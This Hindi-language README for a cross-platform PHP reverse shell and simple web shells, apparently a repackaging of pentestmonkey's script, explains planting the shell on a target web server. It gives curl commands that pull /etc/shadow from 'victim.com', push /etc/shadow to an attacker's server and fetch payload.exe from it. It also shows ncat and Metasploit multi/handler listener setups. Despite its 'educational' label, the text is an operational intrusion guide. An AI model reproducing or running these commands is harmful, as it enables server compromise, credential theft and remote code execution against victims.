
PHP शेल जो Linux OS, macOS, और Windows OS पर काम करते हैं।
लोकप्रिय PHP रिवर्स शेल स्क्रिप्ट pentestmonkey/php-reverse-shell पर एक छोटा सा रिफ्रेश। मूल लेखक को श्रेय!
Linux OS और macOS पर /bin/sh के साथ और Windows OS पर cmd.exe के साथ काम करता है। स्क्रिप्ट स्वचालित रूप से अंतर्निहित OS का पता लगाएगी।
ncat और multi/handler दोनों के साथ काम करता है।
परीक्षण किया गया:
Windows OS पर प्रोसेस पाइप्स asynchronous ऑपरेशन्स का समर्थन नहीं करते, इसलिए stream_set_blocking(), stream_select(), और feof() ठीक से काम नहीं करेंगे, लेकिन मुझे एक वर्कअराउंड मिल गया है।
शैक्षिक उद्देश्यों के लिए बनाया गया है। आशा है यह मदद करेगा!
/src/reverse/php_reverse_shell.php को PHP v5.0.0 या उससे अधिक की आवश्यकता है।
/src/reverse/php_reverse_shell_older.php को PHP v4.3.0 या उससे अधिक की आवश्यकता है।
आवश्यकतानुसार स्क्रिप्ट्स के अंदर IP address और port number बदलें।
/src/reverse/php_reverse_shell.php को अपने सर्वर की web root डायरेक्टरी में कॉपी करें (जैसे XAMPP पर /opt/lampp/htdocs/ में) या इसे अपने टारगेट के web सर्वर पर अपलोड करें।
अपने पसंदीदा web browser के साथ फ़ाइल पर नेविगेट करें।
HTTP POST request पर आधारित simple PHP web shell देखें।
HTTP GET request पर आधारित simple PHP web shell देखें। आपको अपने कमांड्स को URL encode करना होगा।
HTTP GET request पर आधारित simple PHP web shell v2 देखें। आपको अपने कमांड्स को URL encode करना होगा।
फ़ाइल अपलोड के लिए HTTP POST request और फ़ाइल डाउनलोड के लिए HTTP GET request पर आधारित simple PHP file upload/download script देखें।
फ़ाइल डाउनलोड करते समय, आपको फ़ाइल पाथ को URL encode करना होगा।
सर्वर कॉन्फ़िगरेशन के आधार पर, HTTP GET request पैरामीटर के माध्यम से फ़ाइल डाउनलोड करना हमेशा काम नहीं कर सकता है; इसके बजाय, आपको स्क्रिप्ट में फ़ाइल पाथ को hardcode करना होगा।
अपने पसंदीदा web browser के साथ पीड़ित के web सर्वर पर स्क्रिप्ट पर नेविगेट करें, या अपने PC से cURL का उपयोग करें।
अपने PC से सर्वर की web root डायरेक्टरी में एक फ़ाइल अपलोड करें:
curl -skL -X POST https://victim.com/files.php -F file=@/root/payload.exe
सर्वर से अपने PC पर एक फ़ाइल डाउनलोड करें:
curl -skL -X GET https://victim.com/files.php?file=/etc/shadow -o shadow
यदि आपने अपने रिवर्स शेल के भीतर अपने प्रारंभिक विशेषाधिकारों को elevate कर लिया है, तो हो सकता है कि इस स्क्रिप्ट के पास शेल के समान विशेषाधिकार न हों। उस स्थिति में, किसी विशेष फ़ाइल को डाउनलोड करने के लिए, आपको फ़ाइल को web root डायरेक्टरी में कॉपी करने और आवश्यक read permissions सेट करने की आवश्यकता हो सकती है।
अपने PHP रिवर्स शेल से, निम्नलिखित cURL कमांड्स चलाएँ।
पीड़ित के PC से अपने सर्वर की web root डायरेक्टरी में एक फ़ाइल अपलोड करें:
curl -skL -X POST https://my-server.com/files.php -F file=@/etc/shadow
अपने सर्वर की web root डायरेक्टरी से पीड़ित के PC पर एक फ़ाइल डाउनलोड करें:
curl -skL -X GET https://my-server.com/files.php?file=/root/payload.exe -o payload.exe
curl -skL -X GET https://my-server.com/payload.exe -o payload.exe
लिसनर सेट अप करने के लिए, Kali Linux पर अपना पसंदीदा कंसोल खोलें और नीचे दिए गए उदाहरणों में से एक चलाएँ।
ncat लिसनर सेट अप करें:
ncat -nvlp 9000
multi/handler लिसनर सेट अप करें:
msfconsole -q
use exploit/multi/handler
set PAYLOAD windows/shell_reverse_tcp
set LHOST 192.168.8.185
set LPORT 9000
exploit

चित्र 1 - Ncat

चित्र 2 - स्क्रिप्ट का डंप